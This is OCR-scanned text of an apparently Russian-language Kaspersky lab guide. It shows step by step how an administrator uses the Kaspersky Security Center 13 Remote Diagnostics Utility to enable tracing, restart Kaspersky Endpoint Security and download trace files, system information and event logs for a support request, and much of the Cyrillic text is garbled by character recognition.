
14m... \/ O... Lastconnected to Administration Server 12mi... 12|

[N Search

B3 Find devices v

Network  Tags

Device name or IP address:
Windaws domain:
Administration group:

Description:

1P range:
0o .0 .0 . C

Managed by a different Admir

Found: 1

Name
L aLEX-DESKTOP

Active Directory  Network activity Application Operating system  Device status  Protection components  Applications registry | Virtual machines Hardware  Vulnerabil * | *

‘ alex-desktop

Go to device

Protection

Events

Install Application

Check device accessibility
Move to Group

Connect to device

Customn tools

Grant access in offline mode

All tasks
Delete

Properties

=

¥ Configure custom tools

Computer Management

> Remote Desktop
Remote diagnostics
Metw... Netw... Real-... Last...
o Yes of ves of ves i6m..

Export to file

Prote... Status

1Bm..  o..

Status description Infi
Last connected to Administration Server 16 mi... 16

urity Center 13 Remote Diagn

File Edit

View Help

bl Rx 2

[use ssL

Device

Administration Server

Access using Administration Server

| localhast

Compress traffic
[[Jpevice belongs to secondary Administration Server

Secondary Administration Server

Browse...

ALEX-DESKTOP

| [

Connect as current user
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10. Bkniouute
TPacCcupoBKY:
BblbepuTe B cnmcke
Kaspersky Endpoint
Security for
Windows

11. HaxmuTte cCbinky

Enable tracing

12. OcrtaBbTe Tracing

Level 500

13. Bbibepute napameTp
Rotation-based

tracing

14. YcTtaHoBUTE
napameTtp Files

count paeHbIN 2

15. BbibepuTe Maximum

file size - 20 Mb

16. Haxxmute OK

kaspersky

INabopatopHas paboTa 22.
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File Edit View Help

IR B kX @

[ Application

[ HardwareEvents

[ Intemet Explorer

| Kaspersky Endpoirt Security
[ Kaspersky Evert Log

[ Key Management Service

Downlead...

Stop application
Restart application

Enable tracing...

Modify tracing level... [ Media Center
[ OMets
Enable Xperf tracing [ Secuty
[ System

Change Xperf tracing level
[ Windows PowerShel

{25 Remote instaliation logs
Windows Update logs
= Kaspersky Security Certer Network Agent
T Version: 13.0.0.11247
.. Application status: Runring
1. Tracing status: Stopped
[ Diagnostics report: Not found
E+{[¢] Updater - Kasperskcy Securty Center Network Agert
{ L Version: 12.0.0.11247
H .. Tracing status: Stopped
=] [m Kaspersky Endpoint Security for Windows
! Version: 11.6.0.394
L Application status: Running
. Tracing status: Stopped
L Xper tracing status: Stopped

Download folder

Refreshing...
Operation completed successfully

00:00:00.338

Select tracing level

Tracing level: 500 = I oK
Rotation-based tracing Cancel
Files count:

2 E
Maximum file size, in MB:
2 E

Warning! The trace fille may contain
! confidential data!
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17. Mepe3sarpy3ute <
Kaspersky Endpoint File
Security: HaxmnTe
ccbinky Restart

INabopatopHas paboTa 22.
Kak cobpaTb gnarHoCcTU4eckyo nHgopmaumnio

rsky Security Center 13 Remote Diagnostics Utility

Edit View Help

BIRBABX2

H H Download.. | @ e [ Intemet Explorer

app|lca'[I0n ----- [ Kaspersky Endpoint Security

Stop application | 1 e [ Kaspersky Event Log
18. lNogoxaute, noka Restort application | - [ Key Managemert Service
K rsky Endpoint | - [y Media Gerter
aspg sky Endpoint Modify tracing level.. | = [ OAlerts

SeCUI’Ity Disable tracing | ¢ 7 [ Securiy

nepesarpysutcav | | L System
Enable Xperf tracing |  © 77 [ Windows PowerShel

BHW3Y OKHa MosIBUTCS
coo0LLleHne
Operation completed
successfully

19. Bblknounte
TpaccupoBKY:
HaXXMUTE CCbINKY
Disable tracing

Change Xperf tracing level

[+ Remate installation logs
- Windows Update logs
E Kaspersky Securty Certer Network Agent
- TL Version: 13.0.0.11247
Application status: Running
2 Tracing status: Stopped
----- |__L| Diagnostics report: Mot found
=-{[(] Updater - Kaspersky Security Center Network Agent
1 Version: 13.0.0.11247
Tracing status: Stopped
ersky Endpoint Security for Windows
Version: 11.6.0.354
Application status: Running

) Trace files
----- 7. Xperf tracing status: Stopped
) ¥per files

-, Tracing status: Running. Tracing level: 500. Rotating 2 file(s) 20 MB each.

Download folder

Refreshing...
Operation completed successfully

20. PasBepHuTe nanky
Trace files B y3ne File Edit View Help
Kaspersky Endpoint

Kaspersky Security Center 13 Remote Diagnostics Utility

||| & X2

Security 13 for
Windows

Download...

Download entire file

21. BbibepuTe nepsbii B Delete file
cnucke chann un Deletefiles..
HaXXMUTE CCbINIKY
Download entire file

22. ToOYHO TaK Xe
3arpysuTe
ocTarnbHble dhannbl
13 nanku Trace files

|'_L| OAlerts

[ Security
[ System
[ Y Windows PowerShell
[ Remote installation logs
[ Windows Update logs

ﬁ Kaspersky Securty Center Network Agent
T4 Version: 13.0.0.11247
Application status: Running
- Tracing status: Stopped
-| Y Diagnostics report: Not found
=[] Updater - Kaspersky Security Center Networkc Agert
1L Version: 13.0.0.11247
- Tracing status: Stopped
B-ﬂzl Kaspersky Endpoint Security for Windows
-1 Version: 11.6.0.334
Application status: Running
.. Tracing status: Stopped
B Trace files

[

£ e (KES.21.3.10.394_1020.GUI._2021-04-06T140726.log). 1.9 KB
[ Trace file: Available (KES.21.3.10.394_1328_WD_2021-04-06T140725l0g), 1.3 KB
~[Y Trace file: Available (KES.21.3.10.394_1328_WD_2021-04-06T 140727 log). 40.5 KB

= |__"| Trace file: Available (KES.21.3.70.394_2080_connector_2021-04-06T140725Jog), 3.0 KB
[ Trace file: Available (KES.21.3.10.394_568_SRV_2021-04-06T140725log). 1.5 MB

| ¥perf tracing status: Stopped

B Hperf files

Download folder

Cperation completed successfully
Changing the rotation-based tracing level for application "Easpersky Endpoint Security for Windows"...
Cperation completed successfully

kaspersky
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23. 3arpysute
MHdopMaumio 0
KOMMbIOTEPE:
nepengute B y3en
System Info

24. HaxxmuTte CCbInky
Download System
Info

25. Mopo6HbIM obpazom
COXpaHuWTE >KypHarnbl
Kaspersky Event
Log n System u3
nanku Event Log

26. HaxmunTte cebinky
Download folder B
NIEBOM HVDKHEM yrny

Kaspersky Security Center 13 Remote Diagnostics Utility

File Edit View Help

B R Ba | B X[ 2

ABCVALEX-DESKTOP ~
; |__"| Application settings
£ Eventlog
-] Application
[ HardwareEvents
[ Intemet Explorer
[ Kaspersky Endpoint Security
D Kaspersky Event Log
D Key Management Service
[ OAlerts
D Security
D System
[ Windows PowerShell
-{5) Remote installation logs
- Windows Update logs
= E Kaspersky Securty Center Network Agent
-1 Version: 13.0.0.11247
Application status: Running
-1, Tracing status: Stopped
D Diagnostics report: Mot found
=5 {Izl Updater - Kaspersky Security Center Network Agent
Version® 13.0.0.11247

Download...

Download Systern Info

Download folder

‘administrator.ABC\Desktop\Kaspersky Security Center 13 Remote Diagnostics Utility\20210506-161247048-2924 -
\0O01-KE5.21.3.10.394 1404 WD 2021-05-06T161541.zip"...
Cperation completed successfully

00:00:00.014

27. MNpoBepbTe, YTO B
narke HaxoasTcsl Bce
HeobxoauMble
XKypHarnbl

28. 3akponTte yTunuTy
AVNarHoCTUKM

29. He ypangaiTe nanky c
XypHanamu:
HaxmunTe No

3akJiioueHue

B E B - | 20210406-141514082-4740

File Home Share View

N <« Kaspersky Security Center 13 Remote Diagnostics Uti.. » 20210406-141514082-4740

-

*  MName Date modified
B This PC 2 0001-System 06-Apr-2114:16
[ Desktop ? DDD2-Kaspersky Event Log 06-Apr-21 1416

Kaspersky Security Center 1! 0003-KES.21.3.10.394_568_SRV_2021-04-0...
0004-KES.21.3.10.384_2080_connector_20...
0003-KES.21,3.10.384_1328_WD_2021-04-..,
0006-KES.21,3.10,384_1328_WD_2021-04-..,
0007-KES.21.3.10.384_1020.GU1._2021-04-..,
; 0008-Kaspersky Event Log

; 0009-settings

06-Apr-2114:17

20210406-141313068-5548 06-Apr-2114:17

20210406-141514082-4740 06-Apr-21 1417
; 0001-System

; 0002-Kaspersky Event Lo
i 0003-KES.21.3.10.394_562
i D004-KES.21.3.10.394 208

; 0005-KES.21.3.10.394 132 v

06-Apr-21 1417

06-Apr-21 1417
06-Apr-21 1417
06-Apr-21 1417

Kaspersky Security Center 13 Remote Diagnostics Utility

Delete download folder

! 'ChUsers\administrator ABC\Desktop\Kaspersky Security Center 13
Rernote Diagnostics Utility,20210406-141514082-4740" with all its
contents?

Bbl 3arpy3unu ¢ koMmnbtoTepa xypHansl Tpaccuposku Kaspersky Endpoint Security n nHdopmauuio o cucteme.
[obaBbTe 3T XypHansl, koraa 6yaeTe co3gasaTh 3anpoc B TEXHUYECKYO NMOALEPKKY.

WcnonbayiTe yTUNMTY OUArHOCTUKU, €CMN HY)XXHO MOMYYUTb XKypHarbl AreHTa agMUHUCTPUPOBaHNSA UMM MOAYNS
0B6HOBMEHNSA, YTOBbI 3arpy3nTb >XypHarnbl YCTAHOBKU, a Takke YTOObI BKIOYaATb U BbIKMHOYATL TPACCUPOBKY

CepBepa agMMHUCTPUPOBAHUS.
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